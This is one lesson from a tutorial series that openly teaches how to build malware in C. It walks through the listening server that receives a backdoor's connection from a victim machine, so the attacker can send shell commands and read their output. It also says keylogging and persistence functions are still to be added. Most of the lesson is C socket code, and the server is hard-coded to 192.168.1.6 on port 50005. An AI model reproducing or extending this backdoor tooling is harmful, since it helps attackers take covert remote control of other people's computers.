Create your own malware using C: Executing shell commands

Coding the server

In this lesson we are going to jump into our different program (which would be the server). Even though we haven’t finish our backdoor, we are going to finish the main section which is execution of the commands, right now, with our current program we can do something similar as manipulating a remote “cmd” shell.

But before we keep adding functions to our program (such as keylogging and persistence) we need to see if our current code works, to do so, we’d need to code the server part which is going to listen for the connection and send command and receive their outputs, so let’s start working in it.

Create a new file called, for example, “server.c” and then import all the needed libraries, resulting the following code:

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>

Now we have included all the necessary libraries to set up our clients/server connection. Note that the server will only have one function which is going to be the main function, to create it simply type:

int main() {
}

In the “main” function, let’s create all the variables we’ll need. Which is going to be the socket and the client socket:

int sock, client_sock;

The reason why we need two sockets, is because we are the server, which means we will need our own socket “sock” and once the client establishes the connection with us, we will also need to store the client socket, that’s why we are creating two socket objects.

The second thing we are going to need is the “buffer”, the “response” (which needs to have the exact same size of the “total_response” variable that is in our client). We also need to create two structures called “server_address” (which is going to be our own address) and “client_address”. These are the already declared variables:

int sock, client_socket;
char buffer[1024];
char response[18384];
struct sockaddr_in server_address, client_address;

In our backdoor, we only created one socket object which was the target socket, but in this case, we need to create two because we are the server.

We will also going to need two different integers:

int i = 0;
int optval = 1;

And the last thing we will need, is the size of the client socket, to specify it, simply type:

socklen_t client_length;

The first thing we are going to create after defining our variables, is going to be the socket, so we perform the same action as we did in our backdoor which would be:

sock = socket(AF_INET, SOCK_STREAM, 0);

And now, we need to set some of the socket options, and we will use the “optval” variable for that. So, in order to check whether our socket object creation worked, we are going to use an if statement:

So, in order to check whether our socket object creation worked, we are going to use an if statement:

if (setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &optval, sizeof(optval)) < 0) {
  printf("Error setting TCP Socket Options!\n");
  return 1;
}

If the creation of our socket doesn’t work (the statement check by the if) we return “1” which means we exit the main function (as it is an int).

If the creation was successful, we would continue with the execution of our program. So we need to perform the same thing that we performed previously, so the first thing we would need to do is to set our server address with all of its needed parameters:

server_address.sin_family = AF_INET;
server_address.sin_addr.s_addr = inet_addr("THE SERVER IP ADDRESS");
server_address.sin_port = htons(50005); // Same port specified in the client

The next thing we need to do, which we haven’t actually performed inside the backdoor (because this is a function the server must perform) which is binding the server IP and the server port, we can do that using the “bind” function as shown below:

bind(sock, (struct sockaddr *) &server_address, sizeof(server_address));

The bind’s parameters are:

  • Our socket (sock)
  • A sockaddr structure, pointing to the server address ((struct sockaddr) * &server_address)
  • The size of the server address (sizeof(server_address))

You may find the “bind” function similar to the “connect” one inside of the backdoor. And now, we need to listen for the incoming connections, so we would use the “listen” function.

listen(sock, 5);

This function takes two arguments, the socket we are listening for connections, and the amount of connections we want to accept. In this case, 5.

The next thing is going to be the client length, its value will be the size of the client address, so we can specify that like this:

client_length = sizeof(client_address);

And the last thing before we can stablish the connection, will be to accept the connection request and we can do that by simply calling the accept function and storing the result inside the client socket:

client_socket = accept(sock, (struct sockaddr *) &client_address, &client_length);

As the “accept” function will return the client socket, we want to store it into “client_socket”, as we will use that variable later for communicating the server and the client.

This is how our server code looks like so far:

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>

int main() {
  int sock, client_socket;
  char buffer[1024];
  char response[18384];
  struct sockaddr_in server_address, client_address;
  int i = 0;
  int optval = 1;
  socklen_t client_length;

  sock = socket(AF_INET, SOCK_STREAM, 0);

  if (setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &optval, sizeof(optval)) < 0) {
    printf("Error Setting TCP Socket Options!\n");
    return 1;
  }

  server_address.sin_family = AF_INET;
  server_address.sin_addr.s_addr = inet_addr("192.168.1.6");
  server_address.sin_port = htons(50005);

  bind(sock, (struct sockaddr *) &server_address, sizeof(server_address));
  listen(sock, 5);
  client_length = sizeof(client_address);
  client_socket = accept(sock, (struct sockaddr *) &client_address, &client_length);
}